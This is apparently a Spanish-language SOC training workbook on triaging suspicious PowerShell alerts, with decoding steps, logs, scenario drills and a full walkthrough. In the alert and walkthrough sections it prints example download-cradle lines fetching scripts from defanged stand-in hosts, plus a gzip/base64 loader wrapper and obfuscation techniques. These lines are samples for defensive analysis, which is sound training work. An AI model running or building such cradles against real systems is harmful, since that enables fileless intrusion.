SOC Investigation Workbook Series - Volume 4
Investigating Suspicious PowerShell Like a SOC Analyst
Un cuaderno de campo para trabajar una alerta de PowerShell desde el primer triaje hasta el cierre del ticket. Escrito por un gerente de ingeniería de ciberseguridad que revisa estás investigaciones por trabajo.
Dentro: cómo decodificar comandos ofuscados, ejemplos reales de logs de EDR y Script Block, un flujo de trabajo de investigación paso a paso, un paquete de consultas listo para ejecutar, ejercicios de escenarios, un recorrido completo y páginas de notas para el analista rellenables.
Jbird | jbirdcyber.gumroad.com
What’s In This Workbook
- Sección 1: Overview del Ataque - Por qué a los atacantes les encanta PowerShell
- Sección 2: La Alerta Llega - Ejemplo de Alerta, Logs e Indicadores
- Sección 3: El Flujo de Trabajo de la Investigación - Decode, Then Decide
- Sección 4: Recolección de Evidencia - Logs, Decoding, Parent Process
- Sección 5: Tomando la Decisión - Malicious, Admin, or Software
- Sección 6: Recorrido Completo de la Investigación - Desde la Alerta hasta el Aislamiento
- Sección 7: Notas del Analista - Tus Páginas de Investigación Rellenables
- Sección 8: Referencia Rápida - La Versión de una Página
- Bonus: Cómo aparece el PowerShell sospechoso en tu entrevista
CÓMO USAR ESTE CUADERNO: Lee las Secciones 1 a 6 una vez, de principio a fin. Mantén la Sección 8 abierta durante tu turno y usa la Sección 7 para documentar tus primeras investigaciones reales de PowerShell. Este es el volumen más técnico de la serie hasta ahora, porque la evidencia es el comando mismo, y el comando suele estar oculto. La habilidad completa consiste en hacer que la parte oculta sea legible y luego juzgar qué hace.
Una palabra antes de empezar
Me siento en el lado de la contratación para roles de SOC e ingeniería. PowerShell es donde descubro rápido si un candidato puede leer lo que un atacante está haciendo realmente o si simplemente hacen pattern matching con la palabra encodedcommand y escalan todo. Los analistas que pueden tomar una pared de base64, decodificarla y decirme en inglés sencillo qué hace son los que quiero en una consola. Esa habilidad es enseñable, y este cuaderno la enseña.
Para quién es esto
- Aspirantes y analistas junior de SOC que siguen viendo alertas de PowerShell y quieren dejar de adivinar qué significan.
- Personal de help desk y sysadmins pivotando hacía la seguridad, que ya conocen PowerShell como una herramienta y necesitan verlo como una superficie de ataque.
- Estudiantes de ciberseguridad e internos que han oído hablar de fileless y living off the land pero nunca han decodificado un comando real.
- Cualquier persona con una entrevista de SOC en el calendario. La sección bonus al final es para ti.
Los ejemplos se inclinan hacía Windows y Microsoft Defender for Endpoint porque es donde la mayoría de ustedes trabajarán estás alertas, y la decodificación y el razonamiento se transfieren a cualquier EDR.
Section 1 - Attack Overview
Why Attackers Love PowerShell
VOZ DEL HOSTNAME: Buenas tardes, colegas. PowerShell es una herramienta legítima, potente y firmada por Microsoft que viene en cada máquina Windows y es confiable por defecto. Esa frase es también la razón completa por la que los atacantes viven en ella.
PowerShell es una herramienta legítima, potente y firmada por Microsoft que viene en cada máquina Windows y es confiable por defecto. Los atacantes no necesitan colar un binario malicioso pasando tus defensas cuando ya hay un motor de scripting totalmente funcional sentado en el host con las llaves del sistema operativo.
Este estilo de ataque tiene un nombre que oirás constantemente: living off the land. En lugar de dejar malware personalizado que el EDR pueda identificar por su firma, el atacante abusa de herramientas que ya están presentes y ya son confiables. PowerShell es la joya de la corona de ese enfoque porque puede descargar y ejecutar código en memoria, hablar con la red, tocar el registro, manipular procesos y llamar directamente a los internos de Windows, todo sin escribir un archivo malicioso obvio en el disco.
What Makes PowerShell Dangerous in the Wrong Hands
- Ejecuta código en memoria. Un comando puede extraer un payload de internet y ejecutarlo sin que nunca aterrice en el disco como un archivo. Este es el núcleo de los ataques fileless, y es por qué tus detecciones basadas en archivos pueden salir vacías mientras el host está activamente comprometido.
- Es confiable y está firmado.
powershell.exees un binario firmado por Microsoft. Las listas de permitidos de aplicaciones que bloquean ejecutables desconocidos lo dejan pasar directamente, porque se supone que debe estar allí. - Se esconde a plena vista. Administradores, scripts de inicio de sesión, instaladores de software y herramientas de gestión usan PowerShell constantemente. El uso malicioso nada en un mar de uso legítimo, que es exactamente el ruido que los atacantes quieren.
- Se ofusca trivialmente. El mismo comando puede escribirse de cien maneras: codificado en base64, cadenas invertidas, matemáticas de caracteres, comprimido. El objetivo es derrotar tanto la detección por firmas como al analista que lee el log. Tu trabajo es deshacer eso.
- Puentea hacía todo. El robo de credenciales, el movimiento lateral, la persistencia, el robo de datos y el despliegue de ransomware son todos alcanzables desde una consola de PowerShell. La alerta que estás viendo es a menudo el paso uno de una cadena mucho más larga.
The Flags You Will See Over and Over
Ciertos argumentos de línea de comandos aparecen en PowerShell malicioso con tanta frecuencia que se convierten en reflejos de triaje. Ninguno es prueba de malicia por sí solo (los administradores también los usan), pero apilados juntos pintan un cuadro:
| Flag | Meaning |
|---|---|
-EncodedCommand (o -enc, -e) | El comando real está codificado en base64. El envoltorio más común en líneas únicas maliciosas. |
-ExecutionPolicy Bypass (-ep bypass) | Ignora las restricciones de ejecución de scripts. |
-WindowStyle Hidden (-w hidden) | Ejecuta sin ventana visible. |
-NoProfile (-nop) | Omite los scripts de perfil de usuario para un entorno limpio y predecible. |
DownloadString / DownloadFile / Invoke-WebRequest / iwr / Net.WebClient | Extrae algo de internet. Combínalo con ejecución en memoria para un cradle de descarga fileless. |
IEX / Invoke-Expression | Ejecuta cualquier cadena que sigue como código. |
Section 2 - The Alert Lands
What You Actually See in the Queue
A continuación se presenta una alerta representativa en el formato que produce Microsoft Defender for Endpoint. La cosmética del proveedor varía, los campos no.
ALERT: Suspicious PowerShell command line
Severity: High
Tactic: Execution (TA0002)
Device: FIN-WS-0231
User: t.okafor
Process: powershell.exe PID 6184
Parent: WINWORD.EXE PID 5012
Command line: powershell.exe -nop -w hidden -ep bypass -enc
JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8A...
Detection source: Defender for Endpoint EDRThe Two Facts That Matter Most
Antes de decodificar nada, la alerta ya te entrega los dos señales de mayor valor. Entrénalo para leer estos primero, cada vez:
- El proceso padre es
WINWORD.EXE. Word no tiene ninguna razón legítima para lanzar PowerShell. Las aplicaciones de Office que lanzan intérpretes de scripts son una de las de los patrones más fiables de malicia en toda la seguridad de endpoints. Está sola línea mueve la alerta hacía un incidente antes de que decodifiques algo. - El stack de flags:
-nop -w hidden -ep bypass -enc. Sin perfil, ventana oculta, bypass de política de ejecución, comando codificado. Cada uno es explicable por separado. Los cuatro juntos en un comando lanzado por Word son el manual de ofuscación.
Decoding the Encoded Command
La flag -enc significa que el bloque después de ella es texto UTF-16LE codificado en base64. Decodificarlo es el movimiento principal del analista, y no lo ejecutas para leerlo, lo decodificas. Aquí está el contenido decodificado del bloque anterior:
$s = New-Object IO.MemoryStream(,
[Convert]::FromBase64String('H4sIAAAA...'));
$g = New-Object IO.Compression.GzipStream($s,
[IO.Compression.CompressionMode]::Decompress);
IEX (New-Object IO.StreamReader($g)).ReadToEnd()… que se descomprime en:
IEX (New-Object Net.WebClient).DownloadString(
'http://anvil-update[.]live/a.ps1')Indicators Worth Pulling Out Immediately
- Nested obfuscation. Envoltorio base64 sobre un flujo gzip sobre el comando real. El ocultamiento por capas rara vez es un hábito de administrador y casi siempre es intención de evasión.
- IEX con un download. El clásico download cradle: extrae un script de una URL y lo ejecuta en memoria, sin ningún archivo en el disco. Es ejecución fileless en una sola línea.
- A freshly suspicious domain.
anvil-update[.]liveno es un host de actualización de Microsoft. Defángalo (los corchetes), enrécelo y espera un registro reciente y una mala reputación. - The payload is a second stage.
a.ps1es el siguiente eslabón, no el final. Lo que sea que haga es el incidente real, y necesitarás la línea de tiempo del host para verlo.
PATTERN TO MEMORIZE: Decode before you judge, and never execute to decode. El base64 después de
-ences UTF-16LE: decodifícalo en una herramienta segura, léelo como texto y solo entonces decide. Un analista que ejecuta el comando para ver qué hace acaba de ejecutar el comando del atacante para él.
Where the Command Really Lives - Script Block Logging
La línea de comandos en la alerta puede estar truncada u ofuscada por sí misma. La fuente más rica es PowerShell Script Block Logging (Event ID 4104), que registra el contenido real del script que el motor compiló, después de que PowerShell mismo haya eliminado una capa de la ofuscación por ti. Si tu empresa lo tiene habilitado, es oro:
Microsoft-Windows-PowerShell/Operational Event ID 4104
Level: Warning (suspicious blocks often log at Warning)
ScriptBlockText: IEX (New-Object Net.WebClient).DownloadString('http://anvil-update[.]live/a.ps1')
Path:
ScriptBlockId: 7d2a... MessageNumber 1 of 1Dos logs más completan el cuadro: Module Logging (4103) registra el detalle de la ejecución del pipeline y el evento de motor más antiguo 400/600 marca el inicio de PowerShell. Pero 4104 es el que te entrega el script desofuscado. Si vas a pedir una sola configuración a tus ingenieros de este cuaderno, que sea Script Block Logging.
Section 3 - The Investigation Workflow
Cinco fases, en orden. El giro de PowerShell es que la fase 1 contiene un paso de decodificación que no puedes omitir, porque literalmente no puedes triajear lo que no puedes leer.
Phase 1 - Triage and Decode (first 10 minutes)
- Lee el linaje primero. ¿Cuál es el proceso padre? Office app, browser, email client, o un script host lanzando PowerShell apunta fuertemente a lo malicioso. SCCM, Intune, un agente de gestión conocido o la sesión de un administrador apunta hacía lo rutinario. El linaje enmarca todo lo que sigue.
- Decodifica el comando, de forma segura. Si ves
-enc, decodifica el bloque base64 como UTF-16LE en un sandbox o un decodificador seguro. Nunca lo pegues en una ventana de PowerShell activa. Pela las capas anidadas (base64, gzip, strings invertidos) hasta llegar al script en texto plano. - Extrae el Script Block log (4104) para el host y el tiempo. A menudo te entrega la versión desofuscada directamente y confirma tu decodificación manual.
- Caracteriza la intención decodificada. ¿Download cradle? ¿Acceso a credenciales? ¿Persistencia codificada? ¿Reconocimiento? Ahora sabes con qué estás lidiando realmente, no solo que un comando codificado se ejecutó.
Phase 2 - Validation (malicious, or explainable?)
- Mapea el comando a una actividad real. ¿Explica un despliegue de software conocido, un script de inicio de sesión o una tarea de administrador este comando exacto en este host en este momento? Revisa tu calendario de cambios y tus baselines conocidos.
- Enrécele cada indicador externo: URLs, IPs, hashes de archivos del contenido decodificado. Un dominio recién registrado o un hash conocido como malo colapsa la pregunta rápido.
- Confirma el contexto del usuario. ¿Es
t.okaforun administrador ejecutando herramientas, o un usuario de finanzas que nunca debería estar lanzando PowerShell codificado desde Word? El rol más el proceso padre suele resolverlo. - Cuando todavía sea ambiguo, contacta al usuario fuera de banda: ¿abrió un adjunto, ejecutó un instalador o pegó un comando que alguien le envió? Las estafas de soporte técnico y las páginas de CAPTCHA falsas ahora engañan rutinariamente a los usuarios para que peguen PowerShell malicioso ellos mismos.
DECODE IS NOT THE SAME AS EXECUTE: Lo diré dos veces en este cuaderno porque es el error que termina carreras temprano: decodificas el base64 con un decodificador, no ejecutas el comando para leerlo. Ejecutarlo para ver qué hace le entrega al atacante la misma ejecución que estaban intentando lograr, ahora con tu bendición y en un host que se suponía debías proteger.
Phase 3 - Scoping (one command is never the whole story)
- Sigue la descarga. Si el comando extrajo un segundo escenario, averigua qué extrajo. Pon la URL en tu sandbox o threat intel, identifica el payload y trata sus capacidades como presentes en el host.
- Construye el árbol de procesos. ¿Qué lanzó PowerShell, y qué lanzaron esos? Los procesos hijos (cmd, rundll32, más PowerShell, un binario desplegado) extienden el incidente. Camina el árbol en ambas direcciones.
- Caza los indicadores host-wide y tenant-wide. Busca en cada endpoint el mismo dominio, hash, patrón de comando y contenido de Script Block. Un host con este comando es un incidente. Cinco hosts es una campaña.
- Busca qué ocurrió después de la ejecución. Nuevas tareas programadas, claves de ejecución del registro, nuevos servicios, nuevas cuentas locales, conexiones de salida C2, herramientas de acceso a credenciales. PowerShell es a menudo la rampa de acceso para propagarse.
- Verifica la persistencia y el movimiento lateral. ¿Hizo el host conexiones SMB o RDP a otras máquinas después de la ejecución? ¿Se tocaron credenciales? PowerShell es frecuentemente la rampa de acceso para extenderse.
Phase 4 - Escalation
Escala cuando el contenido decodificado sea claramente malicioso, cuando se ejecute un segundo escenario, cuando el proceso padre o el contexto del usuario indiquen compromiso, o cuando el scoping muestre más de un host.
Entrega al IR un paquete, no un número de ticket: el comando decodificado en su totalidad, el árbol de procesos padre e hijo, los indicadores enriquecidos, la línea de tiempo del host de lo que pasó después de la ejecución y las acciones que ya tomaste con marcas de tiempo. La Sección 7 produce exactamente ese paquete. Incluye el comando decodificado verbatim en tu escalación, porque el siguiente respondedor no debería tener que decodificarlo una segunda vez.
Phase 5 - Containment Considerations
- Aísla el host de la red si se confirma la ejecución. La mayoría de las plataformas EDR pueden hacer esto con un solo clic mientras mantienen tu conexión de investigación viva. Contener el endpoint detiene el beaconing y el movimiento lateral mientras trabajas.
- Preserva antes de limpiar. Captura el árbol de procesos, los logs de Script Block, la memoria si tus herramientas lo permiten y los artefactos desplegados, antes de que la remediación los destruya.
- Bloquea los indicadores de red: los dominios y IPs de C2 en tu proxy y firewall, los hashes de archivos en el EDR. Espera la rotación de infraestructura, así que el bloqueo es contención, no cierre.
- Elimina la persistencia encontrada en el scoping: tareas programadas, claves run, servicios, cuentas. Un reimage es la respuesta limpia para un compromiso in-memory confirmado donde no puedes estar seguro de qué más se ejecutó.
- Si las credenciales se expusieron en el host, reinícialas y revoca las sesiones, involucrando la respuesta de identidad de los Volúmenes 1 y 2.
ORDER MATTERS: Aísla para detener la hemorragia, preserva antes de limpiar, luego remedia. Reimaginar un compromiso fileless antes de haber capturado el árbol de procesos y los logs de Script Block significa que cerraste el ticket sin haber aprendido nunca qué se ejecutó realmente. Los revisores, y el próximo objetivo, notarán.
Section 4 - Evidence Collection
Where the Evidence Lives
| Source | What it gives you | Typical platform |
|---|---|---|
| EDR process events | Command line, parent and child processes, the lineage that frames everything | Defender for Endpoint, CrowdStrike, SentinelOne |
| Script Block Logging (4104) | The deobfuscated script content the engine actually compiled | PowerShell/Operational event log, EDR ingest |
| Module Logging (4103) | Pipeline and cmdlet execution detail when you need depth | PowerShell/Operational event log |
| Engine events (400/600) | PowerShell host starts and version, useful for timeline anchoring | Windows PowerShell classic log |
| Network events | The download and the C2 callout the command set up | EDR network telemetry, proxy, firewall |
| Sandbox / TI | What the second stage URL or dropped payload actually does | Detonation sandbox, threat intel platform |
| The user | Whether a human action (attachment, installer, pasted command) explains it | Out of band contact |
The Decoding Bench - Undoing Obfuscation
La ofuscación es solo ocultamiento, y cada técnica de ocultamiento tiene una revelación correspondiente. Estas son las que encontrarás constantemente, y cómo deshacer cada una de forma segura (en un decodificador o sandbox, nunca ejecutándolas):
| Technique | What you see | How to undo it |
|---|---|---|
| Base64 encode | -enc then a long A-Za-z0-9 blob | Base64 decode as UTF-16LE. CyberChef, or a safe scripted decode. |
| Gzip / Deflate | FromBase64String into a GzipStream | Decode base64, then decompress the stream. Often a second layer. |
| String reversal | Text that is backwards, or [-1..] | Reverse the string. Look for a reversal operation in the wrapper. |
| Char code arrays | [char]105+[char]101+[char]120 | Convert the numbers to characters and concatenate. |
| Format / concat | ('I'+'E'+'X'), or -f with index swaps | Resolve the string operations by hand or in a sandbox. |
| Backtick / case noise | i`E`x, random UPPER/lower | Strip backticks, normalize case. Cosmetic only, reveals the cmdlet. |
Your Safest Decoding Habit
Usa un decodificador dedicado (CyberChef es el estándar de la comunidad y puede ejecutarse offline) o una VM de sandbox con sin ruta de red a nada de lo que te importe. Decodifica, lee, defáng cualquier URL con corchetes antes de pegarla en cualquier lugar y nunca dejes que un comando ofuscado toque una shell activa. El objetivo de la ofuscación es que lo ejecutes para entenderlo. No muerdas el anzuelo.
Questions That Drive the Evidence Hunt
- ¿Qué lanzó PowerShell? El proceso padre es tu hecho más importante.
- ¿A qué decodifica el comando, en script legible, con cada capa pelada?
- ¿Llega algún cradle de descarga a algún sitio, y qué hace el segundo escenario?
- ¿Qué lanzó PowerShell, y qué lanzaron esos hijos?
- ¿Explica algún software legítimo, script de inicio de sesión o tarea de administrador este comando exacto aquí y ahora?
- ¿Cuál es el rol del usuario, y una acción humana plausible pudo haberlo activado?
- ¿Dónde más en el entorno aparece este comando, dominio o hash?
- ¿Qué persistencia o movimiento lateral ocurrió después de la ejecución?
Artifacts to Capture as You Go
- La línea de comandos original completa y el script totalmente decodificado, ambos guardados verbatim.
- Las entradas de Script Block (4104) para el host y la ventana.
- El árbol de procesos, padres e hijos, con PIDs y marcas de tiempo.
- Indicadores enriquecidos: URLs (defángadas), IPs, dominios, hashes, con reputación.
- Conexiones de red que PowerShell hizo, y cualquier payload de segundo escenario extraído.
- Artefactos post-ejecución: tareas programadas, claves run, servicios, cuentas, capturados antes de la limpieza.
Section 5 - Making the Call
Cada investigación de PowerShell termina en uno de tres veredictos. El contenido decodificado más el linaje deciden, no las flags solas.
Verdict 1 - Malicious
- El proceso padre no tiene por qué lanzar PowerShell: una aplicación de Office, un navegador, un cliente de correo, un script host.
- El contenido decodificado es un download cradle, acceso a credenciales, persistencia codificada o carga en memoria.
- Los indicadores externos enriquecen mal: dominios recién registrados, hashes conocidos como malos, reputación de C2.
- La post-ejecución muestra consecuencias reales: se ejecutó un segundo escenario, apareció persistencia, el host realizó beaconing.
Verdict 2 - Legitimate Administration
- El proceso padre es un agente de gestión conocido, una herramienta de despliegue o la sesión interactiva de un administrador.
- El comando se mapea a una tarea documentada, un registro de cambios o un patrón de automatización reconocible.
- Las flags de codificación o bypass aparecen porque los frameworks de automatización también las usan, pero el contenido decodificado es benigno y el contexto encaja.
- El usuario es un administrador o una cuenta de servicio cuyo trabajo es exactamente este, en un host donde tenga sentido.
Verdict 3 - Legitimate Software
- PowerShell fue lanzado por un instalador, actualizador o producto de proveedor que realmente usa PowerShell por debajo.
- El comando hace referencia a rutas de software conocidos y el contenido decodificado es configuración o configuración, no descarga y ejecución desde un host aleatorio.
- El mismo patrón aparece en muchas máquinas vinculadas a un despliegue de software conocido, no en un endpoint sospechoso.
- Sigue valiendo la pena registrar por qué lo descartaste, porque el próximo analista verá este patrón y se beneficiará de tu razonamiento.
Signal Comparison
| Signal | Leans malicious | Leans benign |
|---|---|---|
| Parent process | Office app, browser, mail client, script host | Management agent, installer, admin shell |
| Decoded content | Download cradle, IEX, credential access, persistence | Config, setup, recognizable automation |
| External indicators | New domains, bad hashes, C2 reputation | Known vendor or internal hosts, clean reputation |
| Spread | One suspicious host, or lateral movement after | Many hosts matching a known rollout |
| User context | Non-technical user, no admin reason | Admin or service account doing its job |
NO SINGLE SIGNAL DECIDES IT: Encoded no significa malvado y signed no significa seguro. El veredicto es el contenido decodificado leído a la luz del proceso padre. Decodifica primero, revisa el linaje segundo, y luego decide. Ese orden te mantiene fuera de ambos modos de falla: escalar ruido y descartar ataques reales.
Drill - Three Alerts, You Make the Call
Lee cada escenario, decodifica en tu cabeza donde puedas, decide tu veredicto y luego revisa la respuesta. Estos son compuestos de investigaciones reales y mapean preguntas de escenario en entrevistas.
Scenario A
Alerta en la estación de trabajo de un desarrollador: powershell.exe lanzado por explorer.exe, la línea de comandos es Install-Module -Name Az -Scope CurrentUser -Force, ejecutado por una cuenta en el grupo de desarrolladores a las 10:30 AM. Sin codificación, sin flags de bypass, sin llamada de red más allá de PowerShell Gallery.
Verdict: Legitimate Administration. Un desarrollador instalando un módulo publicado por Microsoft desde la galería oficial, interactivamente, durante horas laborales, sin ofuscación. El padre es el shell del usuario vía explorer, el contenido es claramente lo que dice y el contexto encaja con el usuario. Ciérralo con el razonamiento anotado. Escalar esto es exactamente la fatiga de alertas que entierra los incidentes reales.
Scenario B
Alerta en el PC de la recepción: powershell.exe lanzado por mshta.exe, flags -nop -w hidden -ep bypass -enc, y el bloque decodifica a una cadena invertida que se resuelve en IEX(New-Object Net.WebClient).DownloadString('http://cdn-verify[.]top/p'). La usuaria es una recepcionista. El log de Script Block 4104 confirma el contenido decodificado. El host hizo una conexión de salida a ese dominio 200 milisegundos después de que el proceso iniciara.
Verdict: Malicious, active.
mshtalanzando PowerShell oculto y codificado que decodifica a un download cradle, en la máquina de un usuario no técnico, con una llamada confirmada, es un texto de libro sobre una intrusión fileless (a menudo el falso CAPTCHA o el falso update que engaña a los usuarios para que peguen esto ellos mismos). Aísla el host ahora, preserva el árbol y los logs 4104, bloquea el dominio, extrae y analiza lo que sea que seap, y caza el dominio en todo el tenant. No ejecutes nada para confirmar: el log 4104 y el evento de red ya lo confirman.
Scenario C
Alerta que se dispara en 40 máquinas en diez minutos: powershell.exe lanzado por un proceso bajo C:\Program Files\ de un proveedor de gestión de endpoints conocido, la línea de comandos incluye -ExecutionPolicy Bypass y un bloque codificado. Decodificado, el bloque es un script de inventario largo pero legible que consulta el software instalado y escribe los resultados en un log local. Las 40 máquinas están en el mismo sitio, y tu calendario de cambios muestra un trabajo de inventario de software programado para está mañana.
Verdict: Legitimate Software. Las flags de bypass y codificación activan el reflejo, pero el linaje (un producto de gestión firmado), el contenido decodificado (inventario benigno, sin descarga ni ejecución), la propagación (40 hosts coincidiendo con un trabajo programado) y el registro de cambios se alinean. Ciérralo y presenta una solicitud de ajuste para que el patrón conocido de este proveedor deje de alertar al SOC. La habilidad aquí es no flaquear ante
-encuna vez que la decodificación sale limpia.
Section 6 - Full Investigation Walkthrough
Trabajemos la alerta de la Sección 2 de principio a fin, exactamente como yo esperaría que un analista sólido la maneje. Los tiempos son el tiempo transcurrido en la investigación.
00:00 to 00:10 - Triage and Decode
Linaje primero: powershell.exe lanzado por WINWORD.EXE en FIN-WS-0231, usuario t.okafor, una analista de finanzas. Word lanzando PowerShell es un patrón casi seguro de malicia, por lo que esto comienza como un incidente probable.
El comando lleva el stack de ofuscación completo: -nop -w hidden -ep bypass -enc. Decodifica el bloque en CyberChef como UTF-16LE base64: se descomprime un flujo gzip que se resuelve en:
IEX (New-Object Net.WebClient).DownloadString('http://anvil-update[.]live/a.ps1')El log de Script Block 4104 en el host confirma el contenido decodificado idéntico. En diez minutos, este es un download cradle confirmado lanzado por un documento malicioso. Nada fue ejecutado por el analista para aprender esto.
00:10 to 00:20 - Validation
- Enriquecimiento de indicadores:
anvil-update[.]livese registró hace seis días, sin relación con Microsoft, marcado como distribución de malware por dos fuentes de intel. - Ningún despliegue de software o tarea de administrador explica PowerShell codificado desde Word en la estación de trabajo de finanzas.
- Mensaje fuera de banda a
t.okafor: abrió un adjunto de factura que pedía habilitar el contenido está mañana. Esa es la macro.
El veredicto está cerrado: malicioso, ejecutado por el usuario a través de un documento de phishing. El trabajo restante es el scoping y la contención.
00:20 to 00:45 - Scoping
- El árbol de procesos (consulta cuatro) muestra que
powershell.exe(el cradle) lanzó un segundopowershell.exeque escribió y lanzó un archivo en el AppData del usuario, el cual a su vez creó una tarea programada llamadaOneDriveSyncpara la persistencia. - Los eventos de red (consulta cinco) muestran que el binario de AppData realiza beaconing a un segundo dominio cada 60 segundos.
- El segundo escenario
a.ps1, detonado en el sandbox, es una familia de loaders conocida. - Cazas en todo el tenant sobre ambos dominios y el patrón de comando (consultas uno a tres) encuentran el mismo patrón de Word a PowerShell en otras dos máquinas de finanzas del mismo grupo de phishing, una de las cuales hizo clic y la otra no.
Este es un incidente de tres hosts, dos confirmados comprometidos. Todo se exportó antes de cualquier limpieza.
00:45 to 01:05 - Escalation and Containment
Escalado al IR con el paquete: el comando totalmente decodificado, el árbol de procesos, el artefacto de persistencia, ambos dominios C2 enriquecidos, la línea de tiempo del host de lo que pasó después de la ejecución y la lista de máquinas afectadas.
Contención, con aprobación:
- ambos hosts confirmados aislados vía EDR a las 00:48 (el beaconing se detiene)
- la tarea programada y el binario de AppData capturados y luego eliminados
- ambos dominios C2 y el hash del loader bloqueados en proxy, firewall y EDR
- las credenciales de
t.okaforreiniciadas con sesiones revocadas porque fueron expuestas en un host comprometido (la entrega de los Volúmenes 1 y 2)
La tercera máquina objetivo, que no ejecutó, recibe la eliminación del correo de phishing y una vigilancia. Ambos hosts comprometidos se ponen en cola para reimage, ya que el loader in-memory hace que el estado limpio sea impronunciable.
Root Cause and Closure
Cadena: Correo electrónico de phishing con una macro en una factura, la usuaria habilitó el contenido, Word lanzó un download cradle de PowerShell codificado, que extrajo un loader que estableció persistencia y C2.
Nota de cierre documenta la cadena completa con el comando decodificado verbatim, el alcance de tres hosts y dos recomendaciones sistémicas: bloquear la ejecución de macros desde archivos de Office provenientes de internet mediante política, y confirmar que Script Block Logging esté habilitado en toda la flota, porque es lo que permitió que está investigación avanzara en minutos en lugar de horas. La detección funcionó, y un nuevo analítico para aplicaciones de Office lanzando PowerShell codificado entra en producción para captar el próximo en el host uno en lugar del host tres.
LO QUE HIZO QUE Está INVESTIGACIÓN FUERA BUENA: El analista leyó el linaje antes de decodificar, decodificó en una herramienta segura en lugar de una shell activa, confirmó con logs de Script Block, caminó el árbol de procesos en ambas direcciones, encontró la ola de phishing más amplia y preservó antes de remediar. Cada uno de estos hábitos son preguntas que hago en las entrevistas.
Un reflejo de cierre de este caso
Nota el momento en que la investigación realmente cambió: no la alerta, sino la decodificación. Hasta que el bloque era legible, esto era solo otro comando de PowerShell sospechoso en una cola llena de ellos. El instante en que se resolvió en un download cradle desde un dominio de seis días de antigüedad, lanzado por Word, en la máquina de un usuario de finanzas, el veredicto fue obvio y el reloj comenzó.
Ese es el trabajo completo en un solo latido. El analista que puede llegar a un comando legible en dos minutos trabaja diez de estos en el tiempo que a un flag matcher le toma escalar uno y que le devuelvan el ticket. La velocidad aquí proviene de un hábito practicado hasta que es aburrido: decodifica primero, cada bendita vez.
Section 7 - Analyst Notes
Imprime estos o recréalos en tu herramienta de tickets. Rellénalos durante tu próxima investigación real de PowerShell. La estructura a continuación es el paquete de escalación de la Sección 3, fase 4.
Triage Checklist (ejecuta antes de cualquier otra cosa)
- Proceso padre identificado (el hecho más importante)
- Línea de comandos completa capturada verbatim
- Bloque codificado decodificado de forma SEGURA (decodificador o sandbox, nunca una shell activa)
- Todas las capas de ofuscación peladas hasta el script legible en texto plano
- Log de Script Block (4104) extraído y comparado con la decodificación manual
- Intención decodificada caracterizada: cradle / acceso a credenciales / persistencia / reconocimiento
- Indicadores externos enriquecidos: URLs (defángadas), IPs, dominios, hashes
- Explicación legítima verificada: software / script de inicio de sesión / tarea de administrador
- Rol y contexto del usuario evaluados; disparador humano verificado fuera de banda
- Árbol de procesos construido (padres e hijos) alrededor de la ventana de la alerta
- Indicadores cazados host-wide y tenant-wide
- Artefactos post-ejecución verificados: tareas, claves run, servicios, cuentas, C2
TIPS DE CAMPO: Pon el comando decodificado verbatim en el ticket en el momento en que lo tengas. Volverás a leer tus propias notas tres veces antes de la escalación y el siguiente respondedor no debería tener que decodificarlo una segunda vez. Los revisores lo notan.
What a Complete Escalation Package Contains
- La línea de comandos original y el script totalmente decodificado, ambos verbatim, para que nadie decodifique dos veces.
- El árbol de procesos con padres, hijos, PIDs y marcas de tiempo.
- Indicadores enriquecidos listos para bloqueo: dominios, IPs, hashes, URLs defángadas.
- La línea de tiempo del host de lo que pasó después de la ejecución, incluyendo cualquier segundo escenario.
- Hallazgos de persistencia y movimiento lateral.
- Acciones ya tomadas con marcas de tiempo y evidencia capturada antes de cualquier limpieza.
Investigation 1
| Field | Value |
|---|---|
| Investigation header | Alert ID: ____________ Date/time opened: ____________ |
| Device | ____________ |
| User | ____________ |
| Parent process | ____________ |
| Decoded command | Verbatim, every layer peeled |
Findings
| Field | Value |
|---|---|
| Timeline of events (UTC) | |
| Indicators observed | URLs (defanged) / IPs / domains / hashes |
| Root cause | |
| Actions taken | With timestamps |
| Recommendations and detection feedback |
Investigation 2
| Field | Value |
|---|---|
| Investigation header | Alert ID: ____________ Date/time opened: ____________ |
| Device | ____________ |
| User | ____________ |
| Parent process | ____________ |
| Decoded command | Verbatim, every layer peeled |
Findings
| Field | Value |
|---|---|
| Timeline of events (UTC) | |
| Indicators observed | URLs (defanged) / IPs / domains / hashes |
| Root cause | |
| Actions taken | With timestamps |
| Recommendations and detection feedback |
Glossary - Terms You’ll Hit On Shift
| Term | Definition |
|---|---|
| Living off the land | Abuso de herramientas legítimas y ya presentes (PowerShell, certutil, rundll32) en lugar de desplegar malware personalizado, para evadir la detección. Estas herramientas se llaman LOLBins. |
| Fileless attack | Ejecución que nunca escribe un archivo malicioso obvio en el disco, ejecutando código en memoria en su lugar. Derrota la detección basada en archivos. |
| Download cradle | Una línea única que extrae código de una URL y lo ejecuta en memoria, clásicamente IEX (New-Object Net.WebClient).DownloadString(...). |
| IEX / Invoke-Expression | El cmdlet que ejecuta una cadena como código. El motor que convierte el texto descargado en ejecución. |
EncodedCommand (-enc) | Ejecuta un comando codificado en base64, UTF-16LE. Envoltorio malicioso común, también usado por cierta automatización legítima. |
| ExecutionPolicy Bypass | Ignora las restricciones de ejecución de scripts de PowerShell. Es una configuración, nunca una frontera de seguridad, y una flag de atacante frecuente. |
| Script Block Logging (4104) | Registra el contenido real del script que PowerShell compiló, a menudo desofuscado por ti. El log de PowerShell más útil. |
| Module Logging (4103) | Registra el detalle de la ejecución del pipeline y los cmdlets. Profundidad más allá de 4104 cuando la necesitas. |
| Obfuscation | Reescritura de un comando para ocultar su significado: base64, gzip, reversión, arrays de caracteres, concatenación, backticks. Todo ello es reversible. |
| CyberChef | Una herramienta gratuita, capaz de ejecutarse offline para decodificar y desofuscar. El estándar de la comunidad para el banco del analista. |
| Defang | Renderizar una URL o IP como no cliqueable para un manejo seguro, como hxxp y puntos entre corchetes, para que nunca se abra accidentalmente. |
| Parent process / lineage | Qué lanzó PowerShell. El hecho más rápido de intención: padres de Office o navegador, agentes de gestión, shell de administrador. |
| Process tree | La cadena de quién lanzó a quién. Caminar el árbol en ambas direcciones ayuda a definir el alcance completo del incidente alrededor de una sola alerta. |
Section 8 - Quick Reference
La versión de una página. Manténla abierta durante tu turno.
First Ten Minutes
- Lee el proceso padre primero. Padres de Office, navegador, correo o script host apuntan a lo malicioso.
- Decodifica el bloque codificado de forma SEGURA: base64 como UTF-16LE en un decodificador, nunca en una shell activa. Pela cada capa.
